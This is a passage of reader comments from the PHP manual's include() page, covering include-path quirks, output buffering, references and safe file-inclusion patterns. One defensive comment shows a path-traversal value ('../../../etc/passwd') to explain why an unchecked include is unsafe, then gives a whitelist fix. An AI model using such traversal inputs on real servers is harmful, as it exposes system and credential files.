switch($p)
{
case 'index':
require('welcome.php');
break;
case 'news':
require('news.php');
break;
case 'what you want':
require('the file you want');
break;
default:
exit('Wrong parameter for file inclusion');
}
?>
marco_
moosh at php dot net
15-Jan-2004 04:03
<?php
@include('/foo') OR die ("bar"); @(include('/foo')) OR die ("bar"); ?>
so "or" have prority on "include"
vincent [at] consultmac [dot] calm
11-Dec-2003 05:32
You could use the following to store file contents using include() and output buffering:
----------------------------------
// Aussme $file is set
ob_start();
include($file);
$file_contents = ob_get_contents();
ob_end_clean();
-----------------------------------
Have fun!
james at gogo dot co dot nz
09-Dec-2003 07:03
While you can return a value from an included file, and receive the value as you would expect, you do not seem to be able to return a reference in any way (except in array, references are always preserved in arrays).
For example, we have two files, file 1.php contains...
<?php
function &x(&$y)
{
return include(dirname(__FILE__) . '/2.php');
}
$z = "FOO\n";
$z2 = &x($z);
echo $z2;
$z = "NOO\n";
echo $z2;
?>
and file 2.php contains...
<?php return $y; ?>
calling 1.php will produce
FOO
FOO
i.e the reference passed to x() is broken on it's way out of the include()
Neither can you do something like <?php $foo =& include(....); ?> as that's a parse error (include is not a real function, so can't take a reference in that case). And you also can't do <?php return &$foo ?> in the included file (parse error again, nothing to assign the reference too).
The only solutions are to set a variable with the reference which the including code can then return itself, or return an array with the reference inside.
---
James Sleeman
http://www.gogo.co.nz/
david dot gaia dot kano at dartmouth dot edu
04-Dec-2003 10:13
I just discovered a "gotcha" for the behavior of include when using the command line version of php.
I copied all the included files needed for a new version of a program into a temporary directory, so I could run them "off to the side" before they were ready for release into the live area. One of the files with a new version (call it common.inc.php for this example) normally lives in one of the directories in the include path. But I did not want to put the new version there yet! So I copied common.inc.php into my temporary directory along with the others, figuring that the interpreter would find it there before it found it in the include directory, because my include path has a . at the beginning. When I tested it, everything was fine.
But then I setup a cron job to run the script automatically every day. In the crontab I placed the full path of the script. But when it ran, it included the old version of my common.inc.php file out of the include directory. Interestingly, the other include files that only existed in the temporary directory were included fine.
Evidently AFTER the include path is searched, the directory in which the main script lives is searched as well. So my temporary installation almost worked fine, except for the lack of the small change I had made in the common file introduced a bug.
To make it work I use a shell script to start my php script. It contains a cd command into the temporary directory, then starts the php script.
So "current directory" (the . in the include path) for a command line script is really the current directory you are in when executing the script. Whereas it means the directory in which the script lives when executing under apache.
I hope this helps save someone else the hours it took me to figure out my problem!
David
php at mijav dot dk
19-Nov-2003 03:07
The @ directive works with this construct as well. My experience is you can use an if-statement to verify if the script was included (I havn't tested this on remote includes, there might be non-standard-404 pages that makes it impossible to verify you got the right page)
Example:
// ignore the notice and evaluate the return value of the script, if any.
if(@include(dirname(__FILE__)."/foo.php"))
echo "foo.php included";
else
echo "failed to include foo.php";
redeye at cs-aktuell dot de
08-Feb-2003 02:29
As to the security risks of an include statement like:
<?php
include($page);
?>
This is a really bad way on writing an include statement because the user could include server- or password-files which PHP can read as well. You could check the $page variable first but a simple check like
<?php
if ( file_exists($page) ) AND !preg_match("#^\.\./#",$page) )
include($page);
?>
wont make it any safer. ( Think of $page = 'pages/../../../etc/passwd' )
To be sure only pages are called you want the user to call use something like this:
<?php
$path = 'pages/';
$extension = '.php';
if ( preg_match("#^[a-z0-9_]+$#i",$page) ){
$filename = $path.$page.$extension;
include($filename);
}
?>
This will only make sure only files from the directory $path are called if they have the fileextension $extension.
|